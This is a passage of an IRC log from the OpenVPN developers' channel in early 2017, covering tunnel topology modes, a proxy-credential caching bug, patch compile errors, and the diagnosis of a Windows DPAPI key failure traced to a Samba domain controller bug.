may not) have feedback from other people too 04:50 <@cron2> uh. That was my thinking, but maybe I should have *said* so :-) 04:51 < ordex> eheh np 05:33 <@plaisthos> cron2: my brain corrected the gramar automatically, had to read it 3 times to figure out that 'has' is missing 05:34 <@plaisthos> on android that stuff would actually work 05:34 <@plaisthos> because routes point to interfaces and not ips 05:34 <@plaisthos> but still strange 05:34 <@plaisthos> because the sending ip is completely unclear 06:04 <@mattock> syzzer: thanks! 07:02 <@plaisthos> 2017-01-31 05:30:02 PUSH: Received control message: 'PUSH_REPLY,redirect-gateway def1,route-gateway 10.109.96.1,topology subnet,ping 10,ping-restart 60,ifconfig 10.109.96.11 255.255.255.255' 07:02 <@dazo> mattock: None of these issues are critical (only moderate and low) ... so I don't think we need to rush a release. CVE-2017-3732 is the only one which is concerning, but is probably more critical if you have NSA, GCHQ, FSB or the Chinese intelligence service on your neck .... right, syzzer? 07:03 <@dazo> (but the next release shouldn't linger too long though! ... as we need to do a 2.3 update as well) 07:03 <@plaisthos> I always wonder if these configs (route-gateway is not in VPN range) only fail with my client because it is too strict or are generally broken 07:05 <@plaisthos> When I have time I should do a warning that the gateway is neither the p2p address in p2p nor the in the subnet of the tun interface in other modes 07:27 <@dazo> plaisthos: in net/30 config ... isn't the .1 address the right one? 07:27 < ordex> plaisthos: yeah, I agree. the route add command will just fail but this might be notified earlier 07:28 <@dazo> net/30 is such an awkward and confusing mode to me .... if .4/32 is assigned ... server should be .5, but does not respond to ping - but .1 does 07:28 < ordex> *sgrat* *sgrat* 07:29 <@dazo> I mean .4/30! 07:29 < ordex> dazo: but you still use the .5 as GW I think 07:30 <@dazo> right now I am very uncertain about that ... I use --topology subnet to keep my mind sane 07:30 < ordex> the .1 will be also routed via .5 07:30 < ordex> lol 07:30 < ordex> :D 07:30 < ordex> just checking my routing table now, I have this for example: 10.10.2.1 via 10.10.2.17 dev tun0 07:30 < ordex> .17 is the remote endpoint 07:30 < ordex> the .1 is routed through it 07:30 < ordex> if I want to add a route I should also route it through .17 07:30 <@dazo> good, then it makes sense 07:31 <@cron2> it makes half-sense 07:31 < ordex> (btw, the client has .18 and the server has .17) 07:31 <@cron2> from the client pov, it's a /30, with the client being $base+2, and the server being $base+1 07:31 <@cron2> so routes are sent towards "a gateway in the same /30" 07:32 <@cron2> on the server, we do not configure all those addresses as alias on the tun0, so the server only pings on the very first address (which is "what the server OS sees as /30") 07:32 <@cron2> so basically you have serveros--/30--openvpn/p2mp--/30--client 07:32 <@cron2> with /30 left and right being two *different* /30s 07:33 < ordex> makes sense, although not really intuitive :D 07:33 <@dazo> right .... and that split is what can hurt my head 07:33 <@cron2> so .1 is not "the openvpn process" but "the OS side on the server", while "$base+1" could be considered "a non-pingable interface on an intermediate router" (namely, the openvpn p2mp process) 07:33 < ordex> yeah 07:33 <@cron2> for a networking person, it's a bit easier as soon as you fully grok that the p2mp server really is an independent router, while the openvpn client is "just a long cable" 07:34 < ordex> yap 07:34 <@cron2> topology subnet on the server side is actually a gross hack :) 07:34 <@cron2> (but much easier to understand for people :) ) 07:34 < ordex> so $base+1 is just the vpn endpoint, but it's handled by openvpn, the OS does not know anything about it 07:34 <@cron2> ordex: exactly 07:35 <@plaisthos> dazo: in /30 .1 would still be outside the /30 07:35 <@plaisthos> You think of /24 probably 07:41 < ordex> plaisthos: I think what dazo meant is that the server has its own .1/30 on its side of the tunnel (as seen by ovpn) that is different from the client /30. still all of them being part of the same /24 (which is the reason why the server will send all the traffic to any client towards the tun interface) 07:45 < slypknot> plaisthos: are you sure about this .. topology subnet,ifconfig 10.109.96.11 255.255.255.*255* ?? 07:48 < ordex> I think we were talking about net30 anyway 07:49 <@dazo> ordex++ 07:51 * dazo wonders how many setups would break if we ditched net30 and provided subnet as default ..... 07:54 <@plaisthos> slypknot: yeah, borken config from a user 07:54 <@plaisthos> tells me it works on other devices 07:54 <@plaisthos> I have no idea why it should 07:54 * slypknot shrugs 07:54 < slypknot> fair enof 07:56 < slypknot> Just letting you know wbout this (as the OP has not): https://forums.openvpn.net/viewtopic.php?f=6&t=23340 07:56 <@vpnHelper> Title: Cannot load certificate after password change on AD - OpenVPN Support Forum (at forums.openvpn.net) 07:56 < slypknot> quote: If an OpenVPN developer is willing to take a look and would like to suggest a donation to the project for the effort, the company I work for would be happy to oblige. 07:56 < ordex> cron2: if in "topology subnet" mode we assign an address+subnet mask instead of a ptp address, is it still a layer3 interface? having a subnet makes me think the OS may want to do ARP 07:57 < ordex> or is this detail hacked/handled inside openvpn to avoid ARP and make it still work ? 08:00 <@cron2> ordex: the OSes do not ARP on tun, as the tun is always "point-to-point" 08:01 <@cron2> so we do not need to do anything there - but "make a point-to-point interface really show up as a /24 in the routing table" took us quite a few rounds, if you look at all the "fix topology subnet on ..." commits 08:01 < ordex> :D 08:01 < ordex> sounds like a nightmare eheh 08:01 <@cron2> the BSDs really want a peer IP address for the point-to-point link which is *not* the same as our own, so there's code "create_arbitrary_remote()" in tun.c, which will just pick a free one out of the /24 and install that as remote & gateway address... 08:01 < ordex> but why was it needed? 08:02 <@cron2> because net30 is such a mess :) 08:02 < ordex> :D 08:03 <@cron2> no, really ... net30 is wastive, and confusing ("ping .5 not working"), so for humans, /24 is great 08:03 <@cron2> there is also topology p2p which will just hand out individual /32s, which works perfectly fine - except on windows, as the windows tap adapter always wants a *subnet*, and "the gateway needs to be *in* the subnet" 08:03 <@cron2> (windows tap always ARPs, even in tun mode, so the tun/tap driver spoofs the ARP replies) 08:05 < ordex> omg 08:05 < ordex> :D 08:05 < ordex> ok 08:06 < ordex> so, as dazo was saying, why not migrating to subnet by default ? any other problem other than potentially breaking setups configured adhoc on top of net30 ? 08:06 <@plaisthos> breaking existing setup is pretty much the problem 08:07 <@plaisthos> we might need to introduce a "new-default" or something like that 08:07 <@plaisthos> recommended-defaults or whatever 08:07 < ordex> yeah 08:09 <@plaisthos> our default cipher is one that give you warning for not selecting another one :P 08:11 < ordex> :D 08:14 * ordex is using topology subnet now 08:14 < ordex> yeah, this looks much cleaner :) 08:25 <@vpnHelper> RSS Update - tickets: #836: Password Caching on multiple http-proxies <https://community.openvpn.net/openvpn/ticket/836> 10:02 < ordex> dazo: don't forget my rtnl patch :-P always waiting for you in the basket of the spare things :D 10:08 <@dazo> ordex: heh ... thx for the nudge! not forgotten :) 10:08 < ordex> :D 10:08 < ordex> I know I know, it's just my internal timer :-P 10:08 < ordex> no worries :) 10:10 <@dazo> Just have to wrap my head around ASIO/C++ stuff first to get some openvpn3 stuff completed before it reaches a critically flammable point ;-) 10:15 < ordex> :) 10:15 < ordex> then we set it on fire? :D 10:21 <@dazo> hehe ... hopefully not! ;-) 10:42 < ordex> mh .. http-proxy-user-pass does not appear in the usage text :S 10:51 <@plaisthos> because it is an inline only option 10:51 <@plaisthos> connection is also not on the usage list 10:51 < ordex> oh ok 10:59 < ordex> there goes the question for #836 - does anybody knows why openvpn stores only one set of http proxy user & pass ? :D doesn't sound intuitive to me 11:48 < ordex> few, after digging and digging ... the reason is simply that the user/pass of the http proxy is cached in a static variable. hence initialized only once and then re-used among every connection - no matter if the config parser has parsed new credentials in the various "connection" profiles 11:48 < ordex> mah - not sure what that caching was for .. but this definitely prevents from using different credentials on a connection basis (which seems weird) 11:49 < ordex> although it seems to be a bug, because there is a "force" flag that is passed to get_user_pass_http(), but then it is not passed to the subsequent call get_user_pass() - hence this force flag has no effect .. 11:49 < ordex> mh 12:17 <@dazo> ordex: this could be an artefact, where the management interface may override this information on-the-fly 12:18 < ordex> dazo: you mean the static variable ? 12:18 <@dazo> yeah 12:18 < ordex> you think it is static so that the management interface can modify it when requested ? 12:19 <@dazo> I know the management interface may be used to override remote host settings from a GUI 12:19 < ordex> yeah, that's ok (although the comment above the variable clearly talks about "caching") 12:19 < ordex> yup 12:19 <@dazo> so it wouldn't surprise me if it can do the same with http-proxy as well ... including username/pass 12:19 < ordex> still, this object should be reloaded when attempting a connection to the profile 12:20 < ordex> and I think that the intent was to reload them, given that the "force" variable is passed as true .. 12:20 < ordex> s/them/it/ 12:20 <@dazo> ahh, I see where you're headed ... yeah, it sounds reasonable (without having the full context overview in my head) 12:21 < ordex> eheh yeah sorry 12:21 < ordex> maybe the patch will make my claim clearer :D 12:22 <@dazo> tbh ... it wouldn't surprise me that much that there are half-way implemented features ... as james may have started one path, got it working for some setups and then moved on and solved it differently (usually via the management intf) 12:22 < ordex> :D 12:22 < ordex> that sounds plausible 12:22 < ordex> eheh 12:23 < ordex> but I have to admit that to get to the point I needed several shovels and quite some prints :P 12:24 < ordex> anyhow, time for bed here ! bye ! 12:24 <@dazo> what actually annoys me a bi^W immensely much ... I have the impression james don't think his code is so complicated :-P 12:24 < ordex> :D 12:24 < ordex> once you have a full understanding it may look easy, but requiring so much time to understand what is going on is probably not a very good sign :-P 12:26 <@dazo> yeah ... unfortunately, there I see a similar pattern in the C++ code too :/ ... but currently that may just as well be my many years of C++ ignorance ... so I won't complain too much there! :-P 13:43 <@dazo> hmmm ... qtcreator is a fairly nice gdbserver front-end :) 18:49 <@dazo> ordex: just looked really quickly at your rtnl stuff ... looking quite good ... won't compile on my RHEL/SL7 box though :( 18:49 <@dazo> In file included from syshead.h:213:0, 18:49 <@dazo> from route.c:35: 18:49 <@dazo> IFF_UP = 1<<0, /* sysfs */ 18:49 <@dazo> ^ 18:49 <@dazo> Haven't dug into why yet 18:50 <@dazo> and this one is also peculiar: 18:50 <@dazo> route.c: In function ‘get_default_gateway’: 18:50 <@dazo> route.c:3104:32: warning: the address of ‘best_name’ will always evaluate as ‘true’ [-Waddress] 18:50 <@dazo> if (!rgi->gateway.addr && best_name) 18:50 <@dazo> I'm doing my builds with these CFLAGS ... CFLAGS="-O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions --param=ssp-buffer-size=4 -grecord-gcc-switches -m64" 18:51 <@dazo> (it's the best_name it errors out on though) 18:52 <@dazo> I'll give it a more thorough look in not too far future ... and we can discuss details, but this is generally really good to my eyes ... even rebased without any issues on top of latest master branch 20:15 < ordex> yup, I kept it up-to-date 20:15 < ordex> the best_name thing must be my bug - I changed that part 20:15 < ordex> the IFF_UP - dunno, I'd need the full error 20:26 < ordex> dazo: and thanks for having a look :) --- Day changed Wed Feb 01 2017 07:17 < ordex> d12fk: any reason why instead of creating multiple link_socket objects in your patch you decided to go for multiple contexts ? 07:20 < ordex> I am trying to understand this part, because I have the feeling that cloning a lower level object might make the entire thing simpler 07:55 <@plaisthos> that part is still from me 07:55 < ordex> plaisthos: oh ok, then you can shed some light I hope :) 07:56 <@plaisthos> but basically the reason was that the tcp server already uses multiple sockets and some parts of socket information as are also stored in the context rather than in the link socket 07:57 < ordex> ah, argh I see 07:57 < ordex> that is what I was worried about :/ 07:57 <@plaisthos> I think even mudp is using multiple contexts 07:57 <@plaisthos> one per client 07:57 <@plaisthos> but the socket is shared between all contexts 07:58 < ordex> yeah 07:58 <@plaisthos> and a new client context is created from the one global context 07:59 <@plaisthos> and the code works better if you have one context per socket so you can you the existing udp client context from udp server context and tcp client context from tcp server context methods 08:04 < ordex> I agree on separating each client from the server; but I was hoping I could have multiple listening sockets under the same TOP contexts so that the surrounding code could stay more or less the same 08:04 < ordex> this way the multiple listening part would be hidden 08:05 < ordex> but this is probably just an high level idea which can't work :P 09:49 <@d12fk> ordex: no I followed plaisthos approach, if you make it work with less code being overthrown its better 09:50 < ordex> not sure this is doable .. also because I presume plaisthos spent quite some time finding a good approach .. but I'll let you guys know about my findings 09:51 <@d12fk> that i don't know the patch was in a very early state when i extended it 09:51 < ordex> oh oky 09:51 <@d12fk> ... not that it it much further now 09:52 < ordex> btw after going through your patch several times and I wrapped my head around it (so I can say I somewhat understand it), I am trying to start from scratch on top of the current master (rebasing would be a nightmare anyway) and I am trying to see if I can hook this multi thing on a different layer 09:57 < ordex> dazo: btw I get the IFF_UP error here as well now .. this might be related to my recent downgrade of the linux-headers package. I was on a more bleeding edge till few days ago .. 09:58 < ordex> probably some protection against double inclusion was added in a recent version of the headers. anyway, fixed it 10:02 <@d12fk> ordex: yup good approach 10:14 <@vpnHelper> RSS Update - tickets: #837: HKCU\Software\OpenVPN-GUI is deleted if "version" key is missing <https://community.openvpn.net/openvpn/ticket/837> 10:16 <@plaisthos> ordex: I did understand the polling select socket framework and gave up on that 10:16 < ordex> :D 10:16 <@plaisthos> +not 10:16 < ordex> well, even understanding it might be a reason for givin up :D 10:16 < ordex> *giving 10:34 <@cron2> https://www.theregister.co.uk/2017/02/01/gitlab_data_loss/ 10:34 <@vpnHelper> Title: GitLab.com melts down after wrong directory deleted, backups fail • The Register (at www.theregister.co.uk) 10:35 <@cron2> good that we push to 3 different repos... 10:36 < ordex> "The world doesn't contain enough faces and palms to even begin to offer a reaction to that sentence. " :D 10:38 <@vpnHelper> RSS Update - tickets: #838: Don't ignore HKEY_LOCAL_MACHINE\SOFTWARE\OpenVPN-GUI. <https://community.openvpn.net/openvpn/ticket/838> 10:56 < ordex> mah, this proxy thing is quite confusing..I think somebody should rather decide how it could be improved and stick to that .-. 11:20 <@vpnHelper> RSS Update - tickets: #839: Inconsistencies about OpenVPNServiceInteractive <https://community.openvpn.net/openvpn/ticket/839> 14:43 < slypknot> it appears : if a 2.4 client cfg; with --tls-auth connect to a 2.4 server with --ncp-cipher and --tls-crypt and the client is -ncp'd up to --tls-crypt .. the client does not drop --tls-crypt back to --tls-auth on --ping-timeout 14:44 < slypknot> I will trac it if i can tie it down .. but i thought i would mention it here first 14:45 < slypknot> if the client then connect to a server without --tls-crypt the connection fails .. 14:45 < slypknot> I actually tested on the same server .. but i manually changed the server config to --ncp-disable + --tls-auth *without* changing the client side at all 15:23 <@cron2> there is no way to "ncp up to tls-crypt" 15:23 <@cron2> all NCP does is move the data channel cipher to AES-256-GCM 15:24 <@cron2> or are you *pushing* tls-crypt? not sure that works 15:24 < slypknot> not pushing tls-crpt .. never even tried that ! 15:25 < slypknot> i'm tryin to make it easily reproducable 15:25 <@cron2> if you're not pushing this, I see no way the client would start to do tls-crypt on its own - that is not part of NCP 15:26 <@cron2> (and I think tls-crypt is not pushable either, as it needs to match before TLS negotiation even starts) 15:28 < slypknot> i'll check iy all again 15:30 < slypknot> there is one other odd possibility .. i powered off the w10 host but hyperv is set to save state .. so it could be related to that .. maybe changed the server before power cycle (server is w10 not a guest) 15:33 < slypknot> windows fats-start disabled so poweroff does not save windows state 15:33 < slypknot> fast-start ^ 17:58 < slypknot> I am fairly sure the problem was me messing with the configs and that the hyperv did save-state to vms 18:02 <@dazo> tls-crypt is not pushable, afair 18:03 <@dazo> slypknot: you cannot mix --tls-auth one side with --tls-crypt on the other side .... that's equal to using --cipher none on one side and --cipher AES-256-CBC on the other side 18:03 <@dazo> (--tls-crypt adds a shared key symmetric encryption + HMAC on the control channel, --tls-auth only adds HMAC) 18:27 < slypknot> dazo: tyvm .. best explanation ever 18:28 < slypknot> like a jigsaw puzzle 19:00 < slypknot> mattock: cron2 : please cc tincantech on this: https://community.openvpn.net/openvpn/ticket/839 19:00 <@vpnHelper> Title: #839 (Inconsistencies about OpenVPNServiceInteractive) – OpenVPN Community (at community.openvpn.net) 22:43 < ordex> morning :) --- Log closed Thu Feb 02 00:11:45 2017 --- Log opened Thu Feb 02 06:44:30 2017 06:44 -!- Irssi: #openvpn-devel: Total of 32 nicks [7 ops, 0 halfops, 1 voices, 24 normal] 06:44 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 06:44 -!- Irssi: Join to #openvpn-devel was synced in 9 secs 10:41 < slypknot> curiosity: what is the status of #828 .. are you waiting for me to test W7 ? .. if so i'll try to move it forward : https://community.openvpn.net/openvpn/ticket/828 10:41 <@vpnHelper> Title: #828 (Bridged Windows 7 Connection Not Functional) – OpenVPN Community (at community.openvpn.net) 11:30 <@mattock> slypknot: I think mpfrench needs to get us the hard data selvanair was asking 11:30 <@mattock> I added a comment asking about that data 11:57 < slypknot> mattock: much obliged .. i'll do a 7 tweest on saturday 14:16 < skodde> hi all, I'm looking for some help on this issue: https://forums.openvpn.net/viewtopic.php?f=6&t=23340 sorry for asking here, but it seems the most appropriate channel 14:16 <@vpnHelper> Title: Cannot load certificate after password change on AD - OpenVPN Support Forum (at forums.openvpn.net) 14:51 < slypknot> skodde: the developers are aware of that one .. perhaps you should mention the donation again. hopefully somebody here will be able to give you some feedback 14:51 < slypknot> give it some time please 14:54 < skodde> slypknot: thanks. yes, not pressuring, but maybe a direct interaction could be helpful, I have the right environment to do some testing etc. if needed. also, yup, as I said in the post, the company I work for is willing to make a donation for the effort 15:01 < slypknot> skodde: if you can organise some remote access via vpn to a test network i am sure you will get some interest :) 15:04 < skodde> I guess I could set up a windows machine to RDP in, attached to a test AD domain 15:07 < kitsune1> skodde: does the user have connection to the AD before VPN is up? And is the users profile roaming? 15:09 < skodde> kitsune1: usually the connection to the AD happens after the VPN is up (that's its purpose), but sometimes they're also directly attached to the AD network 15:10 < skodde> kitsune1: users profile is not roaming 15:10 < kitsune1> OK, put it differently, after the password change can the user export the private key from the store? 15:11 < skodde> he can if we mark the private key as exportable during its installation 15:13 < kitsune1> So you are saying that th key is still extractable by the user but accessing it through openvpn fails, right. 15:13 < skodde> kitsune1: correct 15:14 < kitsune1> Will test it out. 15:15 < slypknot> the system works \o/ 15:17 < skodde> kitsune1: I'm double checking everything again just to be sure, also note that protecting the key with a password doesn't make any difference, usually we install them without a password and with the key marked as unexportable. in the meantime: thank you 15:19 < kitsune1> Sure, you dont need a password but Windows still keeps teh key encrypted and export will fail if the user credentials it uses to decrypt it are wrong.. So if export works Windows knows about the password change.. 15:20 < skodde> yup, that was my understanding of the store 15:21 < kitsune1> One mor ething: your forum post refers to pre 2.4.0 versiosn as well. But user cant store the cert in user store and user 2.3.x, can they. Assuming you run 2.3.x as admin, 2.4.0 as user.. 15:22 < skodde> it was working fine with 2.3.x, OpenVPN run as a user in the network operators group (no need for it anymore with 2.4.0) and the cert in the user store 15:23 < kitsune1> Got it.. 15:23 < kitsune1> So this is a 2.4.0 only issue? 15:25 < skodde> oh no, sorry, it's an issue for both 2.4.0 and 2.3.x, on 2.3.x I meant it was working fine until the password change 15:26 < kitsune1> It has to be.. I don't think anything related to cryptoapi changed in 2.4.0 15:28 < skodde> it makes sense, yes, I took a look at the code / changelog and that part of the code seems to be the same 15:48 < skodde> kitsune1: errata corrige: I just made another test installing the cert with the key marked as exportable, I changed the password, the cert is then shown with "you have a private key that corresponds to this certificate", but if I try to export it I get "the associated private key cannot be found" 15:49 < slypknot> skodde: are the users with 2.4 still in network ops group or not ? 15:49 < skodde> slypknot: I removed them, but it shouldn't be related 15:50 < slypknot> out of curisity .. what happens if they arein the net ops group ? 15:50 < kitsune1> kitsune: so this is a Windows problem. Is this an NT 4.0 domain? 15:50 < kitsune1> skodde: ^^ 15:53 < skodde> kitsune1: functional level: windows server 2008 R2 <- does this help? 15:54 < skodde> slypknot: I had both cases and the result was the same 15:54 < kitsune1> Oh, so its not one of those legacy domains... Password change and even pasword reset should work correctly then.. 15:55 < skodde> it would seem so 15:56 < kitsune1> The export failure after the password change, right? Means if passowrd is not changed no issues with key export. 15:56 < skodde> correct, just tested it 16:03 < kitsune1> Hmm.. some permissions problem that breaks the private key re-encryption when password is changed? The encrypted private key is supposed to be saved in AppData\Roaming\MicroSoft\Cyrpto\RSA\users-SID\* 16:03 < kitsune1> Atleast we now know the problem is not in openvpn..:) 16:04 < kitsune1> s/Cyrpto/Crypto/ 16:05 < skodde> kitsune1: I have a bunch of files in there, I can access them correctly with the current user 16:06 < skodde> kitsune1: I thought it was, I've run every possible test but of course never tried the actual export function, meh 16:07 < kitsune1> Check whether their timestamp changes when password is changed 16:09 < kitsune1> I can test this only when I am home later tonight.. I'm pretty sure password change works, but it has been a long time since I had to face a password change or reset. Will test tonight. 16:11 < kitsune1> One more thing.. revert the user's password aback to the previous one and see it works. MS never deletes old encrypted keys, iirc.. That will confirm the cert-key relationship is not broken. 16:15 < skodde> ok, first, no, the timestamp doesn't change after the password change 16:16 < kitsune1> hmm.. I could be wrong about the location -- are the time stamps recent corresponding to recently exported keys? These are RSA keys, right? 16:17 < skodde> the timestamp correspond to when I've imported the ckey. yes, they're rsa keys 16:17 < kitsune1> Used to be Application Data\Microsoft, but these days it should be AppData\Roaming\... 16:18 < kitsune1> Is the machine connected to DC? 16:19 < skodde> yup, I'm checking now to reset the old password 16:22 < skodde> and yes, if I set the old password, I can then access/export the private key 16:22 < skodde> of course the usual password changes are made by the use directly on the machine, so no reset from the admin 16:23 < kitsune1> IS the user changing the password, or admin changing / resetting it? 16:23 < skodde> the user :-) 16:24 < kitsune1> So now google why windows is not re-encrypting the key :-) Pretty strange... 16:25 < skodde> I've googled for days, the only similar thing I could find was some app that was using incorrectly the cryptoapi 16:25 < skodde> so if it's not an OpenVPN, there really not much out there 16:25 < skodde> *OpenVPN bug 16:26 < kitsune1> Yeah, but now we have more info -- looks like its windows failing to re-encrypt the key. 16:29 < kitsune1> Is this only on one machine or one user only or is it an AD-wide problem? 16:31 < skodde> AD-wide problem, all the PCs (laptops especially, that's where we need OpenVPN, but I made some test on workstations too) and users 16:34 < skodde> kitsune1: i'm reading the official docs of DPAPI and for windows 2000 and later domains the controller itself is supposed to act as a backup when the user cannot retrieve the protected data, which is encrypted both by the derivate of the user password and by a certificate of the controller itself, the machine is supposed to send the data to the controller for re-encryption, ah, so it fails at two levels 16:38 < kitsune1> Yeah, I know that document. In your case as the user changing the password it should work with no issues. 16:39 < skodde> it makes no sense, right? 16:40 < kitsune1> The way it works is when user changes his password DPAPI is notified so that it can re-encrypt all secrets. Probably that is failing.. But then how can it fail over the whole AD? 16:41 < kitsune1> If its DPAPI issue, the password save in the GUI also will be affected. Anyway you can test that? Jut being curious.. 16:46 < skodde> sure, I'm not familiar with this feature though, where can I find it? 16:48 < kitsune1> Do you use the openvpn GUI? 16:49 < skodde> oh, yes, but there's no password there 16:50 < kitsune1> You'll see password prompt only if you use --auth-user-pass in the config -- if your server doesnt need user/pass you wont see it. Or if you use the --key option (not cryptoapicert) and the key is encrypted with a password. 16:52 < skodde> I can change the config to make a test 16:53 < kitsune1> Then teh easiest is to just replace cryptoapicert by cert and key and make sure the key has a password. 16:53 < kitsune1> GUI will prompt for the key password and in that dialog select tos ave the password. The next time it wont prompt for the password. 16:54 < kitsune1> Now see what happens when user password is changed -- the key password is saved by the GUI using DPAPI, so the question is whether it can decrypt it after a user password change. 17:00 * kitsune1 has to leave.. will be back later 17:00 < skodde> kitsune1: got it, I'll try it in a couple of hours, time to go home, also, I have another idea, I'll let you know later. thanks for all the help so far 20:01 < kitsune1> skodde: Tested on a 2008R2 domain -- cryptoapicert after password change works fine, so does exportng the key. 20:18 < kitsune1> By the way I was wrong to think the timestamp of the keys themselves will change. Its the masterkey that windows re-encrypts on password change. So files in AppData\Roaming\MicroSoft\Protect should get updated. 20:48 < skodde> kitsune1: I just tested the password saving feature, I have to re-insert it after the password change 20:49 < skodde> the files in the Protect directory also don't seem to get updated after the password change 20:51 < skodde> kitsune1: anyway, I think I've found the problem, at the moment our domain is using a samba server as DC, and it seems that others have similar issue with samba and DPAPI 21:09 < skodde> here's the bug: https://bugzilla.samba.org/show_bug.cgi?id=10980 21:09 <@vpnHelper> Title: Bug 10980 Windows DPAPI fails when contacting Samba4 AD DC BackupKey server (at bugzilla.samba.org) 21:14 < skodde> and here's the commit, it's in 4.2 https://git.samba.org/?p=samba.git;a=commit;h=899f4db2c2fce4d7246d6149961dfb5071efcb05 21:14 <@vpnHelper> Title: git.samba.org - samba.git/commit (at git.samba.org) 21:17 < skodde> and the old cert should be removed if generated prior to this version, I'll check with my network admin 21:24 < skodde> (it's in 4.2 starting from 4.2.0) 21:32 < skodde> actually that's not the final patch, they switched to gnutls for the key generation, there's two commits in the 4.2 branch: https://git.samba.org/?p=samba.git;a=commit;h=3d4407671140fb9ebb9291094d8c4f3dbd4cdc51 and https://git.samba.org/?p=samba.git;a=commit;h=defd63541c8e1ee852b907f26be33bdc50aea214 21:32 <@vpnHelper> Title: git.samba.org - samba.git/commit (at git.samba.org) 21:47 < kitsune1> skodde: so samba was what was special about your domain! Interesting. I have a smaba DC at home, have to test it.. 21:49 < kitsune1> Hmm.. I thought you had said the server was 2008 R2.. 21:53 < kitsune1> I would love to know if a samba update fixes it for you and which version works. 22:16 < skodde> kitsune1: samba was the secondary dc, the main one was a 2008 and the domain level is set to 2008 R2, however at the moment we're left with only the samba dc 22:18 < skodde> kitsune1: I'll see what's available on the server and let you know, hopefully already tomorrow --- Day changed Fri Feb 03 2017 06:25 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 240 seconds] 06:33 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 06:33 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 12:28 <@d12fk> plaisthos: re tls-remote in sophos mobile configs 12:30 <@d12fk> i'm just at fixing this and found out the tls-remote line is actually commented out with a semicolon. could it be that you parse the config wrong, ignoring the ; 12:48 < SCHAAP137> line 513 in src/openvpn/ssl_openssl.c seems unnecessary; if i comment it out, building succeeds with LibreSSL 2.5.1 12:50 < SCHAAP137> the line saying: ssl.cert = ctx->ctx->cert; 12:50 < SCHAAP137> cert isn't used or called anywhere in that function afaics 12:59 < SCHAAP137> hmm nm, t_cltsrv.sh fails with that change 13:23 < SCHAAP137> cert_st struct seems to have moved from ssl_ctx_st to ssl_st, in LibreSSL 2.5.1, it explains the error when compiling 21:09 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 276 seconds] 21:14 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 21:14 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Log closed Sat Feb 04 17:48:08 2017 --- Log opened Mon Feb 06 08:23:19 2017 08:23 -!- Irssi: #openvpn-devel: Total of 32 nicks [8 ops, 0 halfops, 1 voices, 23 normal] 08:23 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 08:23 -!- Irssi: Join to #openvpn-devel was synced in 5 secs 09:34 <@cron2> mattock, dazo: can one of you take this mail from "Sysdream Labs" and reply with an official openvpn.net address + pgp? 09:50 <@dazo> cron2: mattock: I'll respond now 09:55 <@cron2> tx 13:19 <@ecrist> it'd be neat to be included in that email - let me dig up my PGP key 13:21 <@ecrist> drat, I don't have my laptop 13:21 <@ecrist> nm 13:21 <@ecrist> dazo - you should know which key I use, you signed mine. 13:24 <@ecrist> 9D7367F3 13:35 <@cron2> ecrist: it's about access server, go to sleep again :) 13:36 <@ecrist_> odd, I'm in this room twice 13:36 <@ecrist> hello me 13:37 <@ecrist> cron2: yeah, I see that now. 13:38 <@ecrist> we really should have a better scheme for that list 13:38 <@ecrist> wrt PGP/security 13:50 <@cron2> I started investigating, but had no time really work on this 13:50 <@cron2> there's software that can do pgp-decrytpion and re-encryption for lists like this, but the one I had in mind is far too heavy for our case - it has a portal and a wiki and lots of stuff for vetting trusted groups and such built-in, not just the pgp-remailer 13:51 <@ecrist> well, we could handle that pretty easily with some piped mail alias command 13:51 <@cron2> build it 13:51 <@cron2> I'm happy to use it :) 13:52 <@ecrist> security: |/path/to/pgp-decrypt 13:52 <@cron2> and then what? 13:52 <@ecrist> soopersekrit: |/distribution list of users 13:53 <@ecrist> or, we just have a single shared PGP key we use as a group 13:53 <@cron2> where does the re-encryption happen? 13:53 <@ecrist> re-encryption is difficult 13:53 <@ecrist> back to the sender 13:53 <@cron2> if it were simple, I would have long done it :-) 13:53 <@ecrist> that's where all these corporate secure mail gateways came from 13:54 <@ecrist> basically, everything is handled on a web server at that point. 13:54 <@cron2> well, no web server, that stinks 13:54 <@cron2> I've seen it done successfully, it's just that the software has too many moving parts for our needs 13:55 <@ecrist> our group is small enough, I think a single shared key would be sufficient. 13:55 <@ecrist> let's noodle on it, I'm sure we can come up with something. 13:57 <@cron2> I could live with a shared key, rotated whenever the group changes. I'm not sure dazo would agree 14:20 <@dazo> For the security list, I could also live with a shared key ... at least until we have something better 14:20 <@dazo> that is still far better than no encryption at all 14:20 <@dazo> ecrist: I must have missed that completely .... sorry about that 14:22 <@dazo> ecrist: btw ... my signature might be signed by one of my expired and/or revoked keys ... I set up a new properly set of keys, including subkeys not too long ago 16:39 < slypknot> --auth-nocache and --auth-gen-token .. what a nightmare 16:40 < slypknot> don't worry i read dazo's email .. so i got it working again .. but aaahg! 16:42 < slypknot> would a short term fix be to add a log warning ? 16:43 < slypknot> WARNING: Auth-token recieved and auth-nocache in use .. etc 17:35 -!- arlen_ is now known as arlen 19:11 <@ecrist> dazo: I sent my key to the list. you should have had it, you and mattock both signed my keys. 20:29 < ordex> morning :) 22:55 < kitsune1> --- Day changed Tue Feb 07 2017 02:05 <@cron2> ok, so I have ecrist's key now, with good signatures from dazo & samuli -> works for me :) 02:16 < ordex> cron2: sorry for the dumb question about M_FATAL :-P I quickly checked crypto_msg and I did not find any relevant message about that..but I should have gone deeper :) 02:17 < ordex> yeah, error.h says that :) 02:29 <@cron2> it's from deep down in x_msg(), if I remember right :) 02:30 <@cron2> (and syzzer took great pains to rewrite those a few times so now coverity understands that "yes, this will not return, so no need to warn about 'ssl could be NULL here!' :-) ) 02:31 < ordex> yup :) 02:31 < ordex> :D 02:32 < ordex> if coverity can understand that ... then it is perfect ! 03:07 <@plaisthos> hm 03:07 <@plaisthos> t-shirts from ostif 03:08 <@plaisthos> that would be yet another t-shirt I don't wear 03:08 <@plaisthos> I already enough of them 03:08 <@plaisthos> including two VPN provider T-shirt that send them 03:10 < ordex> :D 03:10 < ordex> plaisthos: isn't it good as pyjamas ? 03:13 <@plaisthos> I actually prefer pyjamas that are made as 